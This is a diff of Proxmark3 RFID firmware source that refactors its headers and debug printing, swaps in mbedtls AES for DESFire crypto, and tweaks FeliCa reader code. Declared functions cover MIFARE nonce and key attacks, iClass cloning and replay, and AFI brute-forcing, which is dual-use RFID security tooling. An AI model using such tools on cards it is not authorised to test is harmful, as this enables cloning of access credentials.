void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain);
void MifareAcquireNonces(uint32_t arg0, uint32_t flags);
void MifareChkKeys(uint8_t *datain);
void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
void MifareEMemClr(void);
void MifareEMemSet(uint8_t blockno, uint8_t blockcnt, uint8_t blockwidth, uint8_t *datain);
void MifareEMemGet(uint8_t blockno, uint8_t blockcnt);
int MifareECardLoad(uint32_t arg0, uint32_t arg1);
void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card
void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain);
void MifareCIdent(); // is "magic chinese" card?
void MifareSetMod(uint8_t *datain);
void MifareUSetPwd(uint8_t arg0, uint8_t *datain);
void OnSuccessMagic();
void OnErrorMagic(uint8_t reason);
int32_t dist_nt(uint32_t nt1, uint32_t nt2);
void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype);
//void RAMFUNC SniffMifare(uint8_t param);
//desfire
void Mifare_DES_Auth1(uint8_t arg0, uint8_t *datain);
void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain);
// mifaredesfire.h
bool InitDesfireCard();
void MifareSendCommand(uint8_t arg0, uint8_t arg1, uint8_t *datain);
void MifareDesfireGetInformation();
void MifareDES_Auth1(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain);
void ReaderMifareDES(uint32_t param, uint32_t param2, uint8_t *datain);
int DesfireAPDU(uint8_t *cmd, size_t cmd_len, uint8_t *dataout);
size_t CreateAPDU(uint8_t *datain, size_t len, uint8_t *dataout);
void OnSuccess();
void OnError(uint8_t reason);
// desfire_crypto.h
void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, size_t offset, int communication_settings);
void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes, int communication_settings);
void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect, MifareCryptoDirection direction, MifareCryptoOperation operation, size_t block_size);
void mifare_cypher_blocks_chained(desfiretag_t tag, desfirekey_t key, uint8_t *ivect, uint8_t *data, size_t data_size, MifareCryptoDirection direction, MifareCryptoOperation operation);
size_t key_block_size(const desfirekey_t key);
size_t padded_data_length(const size_t nbytes, const size_t block_size);
size_t maced_data_length(const desfirekey_t key, const size_t nbytes);
size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int communication_settings);
void cmac_generate_subkeys(desfirekey_t key);
void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t len, uint8_t *cmac);
// iso15693.h
void RecordRawAdcSamplesIso15693(void);
void AcquireRawAdcSamplesIso15693(void);
void ReaderIso15693(uint32_t parameter); // Simulate an ISO15693 reader - greg
void SimTagIso15693(uint32_t parameter, uint8_t *uid); // simulate an ISO15693 tag - greg
void BruteforceIso15693Afi(uint32_t speed); // find an AFI of a tag - atrox
void DirectTag15693Command(uint32_t datalen, uint32_t speed, uint32_t recv, uint8_t *data); // send arbitrary commands from CLI - atrox
void Iso15693InitReader(void);
// iclass.h
void RAMFUNC SniffIClass(void);
void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
void ReaderIClass(uint8_t arg0);
void ReaderIClass_Replay(uint8_t arg0, uint8_t *mac);
void iClass_Authentication(uint8_t *mac);
void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain);
void iClass_WriteBlock(uint8_t blockno, uint8_t *data);
void iClass_ReadBlk(uint8_t blockno);
bool iClass_ReadBlock(uint8_t blockno, uint8_t *data, uint8_t len);
void iClass_Dump(uint8_t blockno, uint8_t numblks);
void iClass_Clone(uint8_t startblock, uint8_t endblock, uint8_t *data);
void iClass_ReadCheck(uint8_t blockno, uint8_t keytype);
// cmd.h
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
int reply_ng(uint16_t cmd, int16_t status, uint8_t *data, size_t len);
int receive_ng(PacketCommandNG *rx);
// util.h
void HfSniff(int, int);
//felica.c
void felica_sendraw(PacketCommandNG *c);
void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip);
void felica_sim_lite(uint64_t uid);
void felica_dump_lite_s();
#ifdef __cplusplus
}
#endif
#endif

View file

@ -1,4 +1,4 @@
#include "buzzer.h"
#include "buzzer_disabled.h"
void Ring_BEE_ONCE(uint16_t music_note) {
BEE_ON();

View file

@ -5,10 +5,7 @@
#ifndef __BUZZER_H
#define __BUZZER_H
#include <stdarg.h>
#include "proxmark3.h"
#include "apps.h"
#include "util.h"
#include "common.h"
#define n_2_7khz 185
#define note_1 956
@ -27,24 +24,3 @@ void Ring_ALL(uint16_t count);
void Ring_Little_Star(uint16_t count);
#endif

View file

@ -30,7 +30,10 @@
* @brief
*/
#include "cmd.h"
#include "usb_cdc.h"
#include "usart.h"
#include "crc16.h"
#include "string.h"
// Flags to tell where to add CRC on sent replies
bool reply_with_crc_on_usb = false;
@ -40,10 +43,10 @@ bool reply_via_fpc = false;
bool reply_via_usb = false;
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) {
PacketResponseOLD txcmd;
PacketResponseOLD txcmd = {CMD_UNKNOWN, {0, 0, 0}, {{0}}};
for (size_t i = 0; i < sizeof(PacketResponseOLD); i++)
((uint8_t *)&txcmd)[i] = 0x00;
// for (size_t i = 0; i < sizeof(PacketResponseOLD); i++)
// ((uint8_t *)&txcmd)[i] = 0x00;
// Compose the outgoing command frame
txcmd.cmd = cmd;

View file

@ -35,14 +35,6 @@
#include "common.h"
#include "pm3_cmd.h"
#include "usb_cdc.h"
#include "usart.h"
#include "proxmark3.h"
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
int reply_ng(uint16_t cmd, int16_t status, uint8_t *data, size_t len);
int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
int receive_ng(PacketCommandNG *rx);
// Flags to tell where to add CRC on sent replies
extern bool reply_with_crc_on_usb;
@ -51,33 +43,10 @@ extern bool reply_with_crc_on_fpc;
extern bool reply_via_fpc;
extern bool reply_via_usb;
extern void Dbprintf(const char *fmt, ...);
#define Dbprintf_usb(...) {\
bool tmpfpc = reply_via_fpc;\
bool tmpusb = reply_via_usb;\
reply_via_fpc = false;\
reply_via_usb = true;\
Dbprintf(__VA_ARGS__);\
reply_via_fpc = tmpfpc;\
reply_via_usb = tmpusb;}
#define Dbprintf_fpc(...) {\
bool tmpfpc = reply_via_fpc;\
bool tmpusb = reply_via_usb;\
reply_via_fpc = true;\
reply_via_usb = false;\
Dbprintf(__VA_ARGS__);\
reply_via_fpc = tmpfpc;\
reply_via_usb = tmpusb;}
#define Dbprintf_all(...) {\
bool tmpfpc = reply_via_fpc;\
bool tmpusb = reply_via_usb;\
reply_via_fpc = true;\
reply_via_usb = true;\
Dbprintf(__VA_ARGS__);\
reply_via_fpc = tmpfpc;\
reply_via_usb = tmpusb;}
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
int reply_ng(uint16_t cmd, int16_t status, uint8_t *data, size_t len);
int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
int receive_ng(PacketCommandNG *rx);
#endif // _PROXMARK_CMD_H_

130
armsrc/dbprint.c Normal file
View file

@ -0,0 +1,130 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Mar 2006
// Edits by Gerhard de Koning Gans, Sep 2007 (##)
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// The main application code. This is the first thing called after start.c
// executes.
//-----------------------------------------------------------------------------
#include "dbprint.h"
#include "string.h"
#include "cmd.h"
#include "printf.h"
#define DEBUG 1
//=============================================================================
// Debug print functions, to go out over USB, to the usual PC-side client.
//=============================================================================
void DbpStringEx(uint32_t flags, char *src, size_t srclen) {
#if DEBUG
struct {
uint16_t flag;
uint8_t buf[PM3_CMD_DATA_SIZE - sizeof(uint16_t)];
} PACKED data;
data.flag = flags;
uint16_t len = MIN(srclen, sizeof(data.buf));
memcpy(data.buf, src, len);
reply_ng(CMD_DEBUG_PRINT_STRING, PM3_SUCCESS, (uint8_t *)&data, sizeof(data.flag) + len);
#endif
}
void DbpString(char *str) {
#if DEBUG
DbpStringEx(FLAG_LOG, str, strlen(str));
#endif
}
void DbprintfEx(uint32_t flags, const char *fmt, ...) {
#if DEBUG
// should probably limit size here; oh well, let's just use a big buffer
char s[PM3_CMD_DATA_SIZE] = {0x00};
va_list ap;
va_start(ap, fmt);
kvsprintf(fmt, s, 10, ap);
va_end(ap);
DbpStringEx(flags, s, strlen(s));
#endif
}
void Dbprintf(const char *fmt, ...) {
#if DEBUG
// should probably limit size here; oh well, let's just use a big buffer
char output_string[PM3_CMD_DATA_SIZE] = {0x00};
va_list ap;
va_start(ap, fmt);
kvsprintf(fmt, output_string, 10, ap);
va_end(ap);
DbpString(output_string);
#endif
}
// prints HEX & ASCII
void Dbhexdump(int len, uint8_t *d, bool bAsci) {
#if DEBUG
char ascii[9];
while (len > 0) {
int l = (len > 8) ? 8 : len;
memcpy(ascii, d, l);
ascii[l] = 0;
// filter safe ascii
for (int i = 0; i < l; i++) {
if (ascii[i] < 32 || ascii[i] > 126) {
ascii[i] = '.';
}
}
if (bAsci)
Dbprintf("%-8s %*D", ascii, l, d, " ");
else
Dbprintf("%*D", l, d, " ");
len -= 8;
d += 8;
}
#endif
}
void print_result(char *name, uint8_t *buf, size_t len) {
uint8_t *p = buf;
uint16_t tmp = len & 0xFFF0;
for (; p - buf < tmp; p += 16) {
Dbprintf("[%s: %02d/%02d] %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x",
name,
p - buf,
len,
p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15]
);
}
if (len % 16 != 0) {
char s[46] = {0};
char *sp = s;
for (; p - buf < len; p++) {
sprintf(sp, "%02x ", p[0]);
sp += 3;
}
Dbprintf("[%s: %02d/%02d] %s", name, p - buf, len, s);
}
}
/* useful when debugging new protocol implementations like FeliCa
void PrintToSendBuffer(void) {
DbpString("Printing ToSendBuffer:");
Dbhexdump(ToSendMax, ToSend, 0);
}
*/

53
armsrc/dbprint.h Normal file
View file

@ -0,0 +1,53 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __DBPRINT_H
#define __DBPRINT_H
#include "common.h"
#include "ansi.h"
#define Dbprintf_usb(...) {\
bool tmpfpc = reply_via_fpc;\
bool tmpusb = reply_via_usb;\
reply_via_fpc = false;\
reply_via_usb = true;\
Dbprintf(__VA_ARGS__);\
reply_via_fpc = tmpfpc;\
reply_via_usb = tmpusb;}
#define Dbprintf_fpc(...) {\
bool tmpfpc = reply_via_fpc;\
bool tmpusb = reply_via_usb;\
reply_via_fpc = true;\
reply_via_usb = false;\
Dbprintf(__VA_ARGS__);\
reply_via_fpc = tmpfpc;\
reply_via_usb = tmpusb;}
#define Dbprintf_all(...) {\
bool tmpfpc = reply_via_fpc;\
bool tmpusb = reply_via_usb;\
reply_via_fpc = true;\
reply_via_usb = true;\
Dbprintf(__VA_ARGS__);\
reply_via_fpc = tmpfpc;\
reply_via_usb = tmpusb;}
void DbpString(char *str);
void DbpStringEx(uint32_t flags, char *src, size_t srclen);
void Dbprintf(const char *fmt, ...);
void DbprintfEx(uint32_t flags, const char *fmt, ...);
void Dbhexdump(int len, uint8_t *d, bool bAsci);
void print_result(char *name, uint8_t *buf, size_t len);
//void PrintToSendBuffer(void);
#endif

View file

@ -27,6 +27,7 @@
*/
#include "des.h"
#include "string.h"
const uint8_t sbox[256] = {
/* S-box 1 */
@ -271,7 +272,7 @@ uint8_t substitute(uint8_t a, uint8_t *sbp) {
uint32_t des_f(uint32_t r, uint8_t *kr) {
uint8_t i;
uint32_t t = 0, ret;
uint64_t data;
uint64_t data = 0;
uint8_t *sbp; /* sboxpointer */
permute((uint8_t *)e_permtab, (uint8_t *)&r, (uint8_t *)&data);
for (i = 0; i < 6; ++i)

View file

@ -27,8 +27,7 @@
#ifndef __DES_H_
#define __DES_H_
#include <stdint.h>
#include <string.h>
#include "common.h"
/* the FIPS 46-3 (1999-10-25) name for triple DES is triple data encryption algorithm so TDEA.
* Also we only implement the three key mode */

View file

@ -1,9 +1,7 @@
#ifndef __DESFIRE_H
#define __DESFIRE_H
#include <string.h>
#include <stdarg.h>
#include "aes.h"
#include "common.h"
#include "mifare.h"
#define MAX_CRYPTO_BLOCK_SIZE 16
@ -71,10 +69,6 @@ enum DESFIRE_CRYPTOALGO {
struct desfire_key {
enum DESFIRE_CRYPTOALGO type;
uint8_t data[24];
// DES_key_schedule ks1;
// DES_key_schedule ks2;
// DES_key_schedule ks3;
AesCtx aes_ks;
uint8_t cmac_sk1[24];
uint8_t cmac_sk2[24];
uint8_t aes_version;

View file

@ -1,18 +0,0 @@
#ifndef __DESFIRE_CRYPTO_H
#define __DESFIRE_CRYPTO_H
#ifdef __cplusplus
extern "C" {
#endif
#include <string.h>
#include "crc32.h"
#include "printf.h"
#include "desfire.h"
#include "iso14443a.h"
#ifdef __cplusplus
}
#endif
#endif

View file

@ -25,7 +25,13 @@
* Recommendation for Block Cipher Modes of Operation: The CMAC Mode for Authentication
* May 2005
*/
#include "desfire_crypto.h"
#include <string.h>
#include "desfire_crypto_disabled.h"
#include "crc32.h"
#include "printf.h"
#include "desfire.h"
#include "iso14443a.h"
#include "mbedtls/aes.h"
static void xor(const uint8_t *ivect, uint8_t *data, const size_t len);
static size_t key_macing_length(desfirekey_t key);
@ -571,15 +577,19 @@ void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect,
case T_AES:
switch (operation) {
case MCO_ENCYPHER: {
AesCtx ctx;
AesCtxIni(&ctx, ivect, key->data, KEY128, CBC);
AesEncrypt(&ctx, data, edata, sizeof(edata));
mbedtls_aes_context ctx;
mbedtls_aes_init(&ctx);
mbedtls_aes_setkey_enc(&ctx, key->data, 128);
mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_ENCRYPT, sizeof(edata), ivect, data, edata);
mbedtls_aes_free(&ctx);
break;
}
case MCO_DECYPHER: {
AesCtx ctx;
AesCtxIni(&ctx, ivect, key->data, KEY128, CBC);
AesDecrypt(&ctx, edata, data, sizeof(edata));
mbedtls_aes_context ctx;
mbedtls_aes_init(&ctx);
mbedtls_aes_setkey_dec(&ctx, key->data, 128);
mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_DECRYPT, sizeof(edata), ivect, edata, data);
mbedtls_aes_free(&ctx);
break;
}
}

View file

@ -0,0 +1,18 @@
#ifndef __DESFIRE_CRYPTO_H
#define __DESFIRE_CRYPTO_H
#include "common.h"
#include "desfire.h"
void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, size_t offset, int communication_settings);
void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes, int communication_settings);
void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect, MifareCryptoDirection direction, MifareCryptoOperation operation, size_t block_size);
void mifare_cypher_blocks_chained(desfiretag_t tag, desfirekey_t key, uint8_t *ivect, uint8_t *data, size_t data_size, MifareCryptoDirection direction, MifareCryptoOperation operation);
size_t key_block_size(const desfirekey_t key);
size_t padded_data_length(const size_t nbytes, const size_t block_size);
size_t maced_data_length(const desfirekey_t key, const size_t nbytes);
size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int communication_settings);
void cmac_generate_subkeys(desfirekey_t key);
void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t len, uint8_t *cmac);
#endif

View file

@ -18,6 +18,7 @@
*/
#include "desfire_key.h"
#include "string.h"
static inline void update_key_schedules(desfirekey_t key);

View file

@ -1,11 +1,8 @@
#ifndef __DESFIRE_KEY_INCLUDED
#define __DESFIRE_KEY_INCLUDED
#include <stdlib.h>
#include <stdint.h>
#include "iso14443a.h"
#include "common.h"
#include "desfire.h"
//#include "mifare.h" // iso14a_card_select_t struct
void Desfire_des_key_new(const uint8_t value[8], desfirekey_t key);
void Desfire_3des_key_new(const uint8_t value[16], desfirekey_t key);
void Desfire_des_key_new_with_version(const uint8_t value[8], desfirekey_t key);
@ -17,4 +14,5 @@ void Desfire_aes_key_new_with_version(const uint8_t value[16], uint8_t version,
uint8_t Desfire_key_get_version(desfirekey_t key);
void Desfire_key_set_version(desfirekey_t key, uint8_t version);
void Desfire_session_key_new(const uint8_t rnda[], const uint8_t rndb[], desfirekey_t authkey, desfirekey_t key);
#endif

View file

@ -12,8 +12,7 @@
#ifndef __EMVCARD_H
#define __EMVCARD_H
#include <stdint.h>
#include <stddef.h>
#include "common.h"
//structure to hold received/set tag values
//variable data inputs have length specifiers

View file

@ -12,6 +12,16 @@
//-----------------------------------------------------------------------------
#include "epa.h"
#include "cmd.h"
#include "fpgaloader.h"
#include "iso14443a.h"
#include "iso14443b.h"
#include "string.h"
#include "util.h"
#include "dbprint.h"
#include "commonutil.h"
#include "ticks.h"
// Protocol and Parameter Selection Request for ISO 14443 type A cards
// use regular (1x) speed in both directions
// CRC is already included
@ -129,8 +139,8 @@ void EPA_Finish() {
//-----------------------------------------------------------------------------
// Parses DER encoded data, e.g. from EF.CardAccess and fills out the given
// structs. If a pointer is 0, it is ignored.
// The function returns 0 on success and if an error occured, it returns the
// offset where it occured.
// The function returns 0 on success and if an error occurred, it returns the
// offset where it occurred.
//
// TODO: This function can access memory outside of the given data if the DER
// encoding is broken
@ -264,7 +274,7 @@ void EPA_PACE_Collect_Nonce(PacketCommandNG *c) {
* ack layout:
* arg:
* 1. element
* step where the error occured or 0 if no error occured
* step where the error occurred or 0 if no error occurred
* 2. element
* return code of the last executed function
* d:
@ -470,14 +480,14 @@ void EPA_PACE_Replay(PacketCommandNG *c) {
uint8_t response_apdu[300] = {0};
// now replay the data and measure the timings
for (int i = 0; i < sizeof(apdu_lengths_replay); i++) {
for (int i = 0; i < ARRAYLEN(apdu_lengths_replay); i++) {
StartCountUS();
func_return = EPA_APDU(apdus_replay[i].data,
apdu_lengths_replay[i],
response_apdu);
timings[i] = GetCountUS();
// every step but the last one should succeed
if (i < sizeof(apdu_lengths_replay) - 1
if (i < ARRAYLEN(apdu_lengths_replay) - 1
&& (func_return < 6
|| response_apdu[func_return - 4] != 0x90
|| response_apdu[func_return - 3] != 0x00)) {

View file

@ -11,9 +11,8 @@
#ifndef __EPA_H
#define __EPA_H
#include "cmd.h"
#include "iso14443a.h"
#include "iso14443b.h"
#include "common.h"
#include "pm3_cmd.h"
// this struct is used by EPA_Parse_CardAccess and contains info about the
// PACE protocol supported by the chip
@ -23,8 +22,6 @@ typedef struct {
uint8_t parameter_id;
} pace_version_info_t;
// note: EPA_PACE_Collect_Nonce and EPA_PACE_Replay are declared in apps.h
// general functions
void EPA_Finish();
size_t EPA_Parse_CardAccess(uint8_t *data,
@ -37,4 +34,7 @@ int EPA_Setup();
int EPA_PACE_MSE_Set_AT(pace_version_info_t pace_version_info, uint8_t password);
int EPA_PACE_Get_Nonce(uint8_t requested_length, uint8_t *nonce);
void EPA_PACE_Collect_Nonce(PacketCommandNG *c);
void EPA_PACE_Replay(PacketCommandNG *c);
#endif /* __EPA_H */

View file

@ -1,29 +1,32 @@
#include "proxmark3.h"
#include "apps.h"
#include "felica.h"
#include "proxmark3_arm.h"
#include "BigBuf.h"
#include "util.h"
#include "usb_cdc.h" // for usb_poll_validate_length
#include "protocols.h"
#include "crc16.h" // crc16 ccitt
#include "crc16.h"
#include "fpgaloader.h"
#include "string.h"
#include "commonutil.h"
#include "dbprint.h"
#include "ticks.h"
#include "mifare.h"
// FeliCa timings
// minimum time between the start bits of consecutive transfers from reader to tag: 6800 carrier (13.56Mhz) cycles
// minimum time between the start bits of consecutive transfers from reader to tag: 6800 carrier (13.56MHz) cycles
#ifndef FELICA_REQUEST_GUARD_TIME
# define FELICA_REQUEST_GUARD_TIME (6800/16 + 1)
# define FELICA_REQUEST_GUARD_TIME (6800/16 + 1) // 426
#endif
// FRAME DELAY TIME 2672 carrier cycles
#ifndef FELICA_FRAME_DELAY_TIME
# define FELICA_FRAME_DELAY_TIME (2672/16 + 1)
# define FELICA_FRAME_DELAY_TIME (2672/16 + 1) // 168
#endif
#ifndef DELAY_AIR2ARM_AS_READER
#define DELAY_AIR2ARM_AS_READER (3 + 16 + 8 + 8*16 + 4*16 - 8*16)
#define DELAY_AIR2ARM_AS_READER (3 + 16 + 8 + 8*16 + 4*16 - 8*16) // 91
#endif
#ifndef DELAY_ARM2AIR_AS_READER
#define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1)
#define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1) // 209
#endif
// CRC skips two first sync bits in data buffer
#define AddCrc(data, len) compute_crc(CRC_FELICA, (data)+2, (len),(data)+(len)+2, (data)+(len)+3)
#define AddCrc(data, len) compute_crc(CRC_FELICA, (data), (len), (data)+(len)+1, (data)+(len))
static uint32_t felica_timeout;
static uint32_t felica_nexttransfertime;
@ -106,7 +109,7 @@ static void shiftInByte(uint8_t bt) {
static void Process18092Byte(uint8_t bt) {
switch (FelicaFrame.state) {
case STATE_UNSYNCD: {
//almost any nonzero byte can be start of SYNC. SYNC should be preceded by zeros, but that is not alsways the case
//almost any nonzero byte can be start of SYNC. SYNC should be preceded by zeros, but that is not always the case
if (bt > 0) {
FelicaFrame.shiftReg = reflect8(bt);
FelicaFrame.state = STATE_TRYING_SYNC;
@ -170,13 +173,11 @@ static void Process18092Byte(uint8_t bt) {
}
case STATE_GET_CRC: {
shiftInByte(bt);
if (FelicaFrame.rem_len <= 0) {
FelicaFrame.rem_len = 0;
// skip sync 2bytes. IF ok, residue should be 0x0000
FelicaFrame.crc_ok = check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2);
FelicaFrame.state = STATE_FULL;
FelicaFrame.rem_len = 0;
if (DBGLEVEL > 3) Dbprintf("[+] got 2 crc bytes [%s]", (FelicaFrame.crc_ok) ? "OK" : "No");
}
break;
}
@ -189,6 +190,7 @@ static void Process18092Byte(uint8_t bt) {
/* Perform FeliCa polling card
* Currently does NOT do any collision handling.
* It expects 0-1 cards in the device's range.
* return 0 if selection was successful
*/
static uint8_t felica_select_card(felica_card_select_t *card) {
@ -196,9 +198,9 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
// 0xB2 0x4B = sync code
// 0x06 = len
// 0x00 = rfu
// 0xff = system service
// 0xff = system service
// 0x00 =
// 0xff = system code service
// 0xff = system code service
// 0x00 = request code
// b7 = automatic switching of data rate
// b6-b2 = reserved
// b1 = fc/32 (414kbps)
@ -206,7 +208,6 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
// 0x00 = timeslot
// 0x09 0x21 = crc
static uint8_t poll[10] = {0xb2, 0x4d, 0x06, FELICA_POLL_REQ, 0xFF, 0xFF, 0x00, 0x00, 0x09, 0x21};
int len = 20;
// We try 20 times, or if answer was received.
@ -217,7 +218,7 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
TransmitFor18092_AsReader(poll, sizeof(poll), NULL, 1, 0);
// polling card, break if success
if (WaitForFelicaReply(512) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK)
if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK)
break;
WDT_HIT();
@ -225,17 +226,31 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
} while (--len);
// timed-out
if (len == 0)
if (len == 0) {
if (DBGLEVEL >= DBG_DEBUG)
Dbprintf("Error: Time out card selection!");
return 1;
}
// wrong answer
if (FelicaFrame.framebytes[3] != FELICA_POLL_ACK)
if (FelicaFrame.framebytes[3] != FELICA_POLL_ACK) {
if (DBGLEVEL >= DBG_DEBUG)
Dbprintf("Error: Wrong answer selecting card!");
return 2;
}
// VALIDATE CRC residue is 0, hence if crc is a value it failed.
if (!check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2))
if (!check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2)) {
if (DBGLEVEL >= DBG_DEBUG) {
Dbprintf("Error: CRC check failed!");
Dbprintf("CRC check was done on Frame: ");
Dbhexdump(FelicaFrame.len - 2, FelicaFrame.framebytes + 2, 0);
}
return 3;
}
if (DBGLEVEL >= DBG_DEBUG)
Dbprintf("Card selection successful!");
// copy UID
// idm 8
if (card) {
@ -246,7 +261,10 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
memcpy(card->uid, card->IDm + 2, 6);
memcpy(card->iccode, card->PMm, 2);
memcpy(card->mrt, card->PMm + 2, 6);
if (DBGLEVEL >= DBG_DEBUG) {
Dbprintf("Received Frame: ");
Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0);
}
}
// more status bytes?
return 0;
@ -265,12 +283,12 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
// 8-byte IDm, number of blocks, blocks numbers
// number of blocks limited to 4 for FelicaLite(S)
static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) {
if (blocknum > 4 || blocknum <= 0)
Dbprintf("Invalid number of blocks, %d != 4", blocknum);
uint8_t c = 0, i = 0;
// Sync bytes
frameSpace[c++] = 0xb2;
frameSpace[c++] = 0x4d;
@ -313,13 +331,12 @@ static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) {
//set length
frameSpace[2] = c - 2;
AddCrc(frameSpace, c - 2);
//Add CRC
AddCrc(frameSpace + 2, c - 2);
}
static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing, uint8_t power, uint8_t highspeed) {
uint8_t flags = FPGA_MAJOR_MODE_ISO18092;
uint8_t flags = FPGA_MAJOR_MODE_HF_ISO18092;
if (power)
flags |= FPGA_HF_ISO18092_FLAG_READER;
if (highspeed)
@ -337,19 +354,20 @@ static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing,
// sending 0x00 0x00 0x00 0x00 0x00 0x00
uint16_t c = 0;
while (c < 6) {
// keep tx buffer in a defined state anyway.
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
AT91C_BASE_SSC->SSC_THR = 0x00;
c++;
}
}
// sending sync code
// sending data
// sending data with sync bytes
c = 0;
while (c < len) {
if (DBGLEVEL >= DBG_DEBUG) {
Dbprintf("Sending frame:");
Dbhexdump(len, frame, 0);
}
while (c < len) {
// Put byte into tx holding register as soon as it is ready
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
AT91C_BASE_SSC->SSC_THR = frame[c++];
@ -381,12 +399,11 @@ static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing,
// stop when button is pressed
// or return TRUE when command is captured
bool WaitForFelicaReply(uint16_t maxbytes) {
if (DBGLEVEL >= DBG_DEBUG)
Dbprintf("WaitForFelicaReply Start");
uint32_t c = 0;
// power, no modulation
FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD);
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD);
FelicaFrameReset();
// clear RXRDY:
@ -394,19 +411,15 @@ bool WaitForFelicaReply(uint16_t maxbytes) {
(void)b;
uint32_t timeout = iso18092_get_timeout();
for (;;) {
WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) {
b = (uint8_t)(AT91C_BASE_SSC->SSC_RHR);
Process18092Byte(b);
if (FelicaFrame.state == STATE_FULL) {
felica_nexttransfertime =
MAX(
felica_nexttransfertime,
(GetCountSspClk() & 0xfffffff8) - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FELICA_FRAME_DELAY_TIME
)
;
felica_nexttransfertime = MAX(felica_nexttransfertime,
(GetCountSspClk() & 0xfffffff8) - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FELICA_FRAME_DELAY_TIME);
LogTrace(
FelicaFrame.framebytes,
@ -416,22 +429,20 @@ bool WaitForFelicaReply(uint16_t maxbytes) {
NULL,
false
);
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("All bytes received! STATE_FULL");
return true;
} else if (c++ > timeout && FelicaFrame.state == STATE_UNSYNCD) {
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Error: Timeout! STATE_UNSYNCD");
return false;
} else if (FelicaFrame.state == STATE_GET_CRC) {
Dbprintf(" Frame: ");
Dbhexdump(16, FelicaFrame.framebytes, 0);
//return false;
}
}
}
return false;
}
// Set up FeliCa communication (similar to iso14443a_setup)
// field is setup for "Sending as Reader"
static void iso18092_setup(uint8_t fpga_minor_mode) {
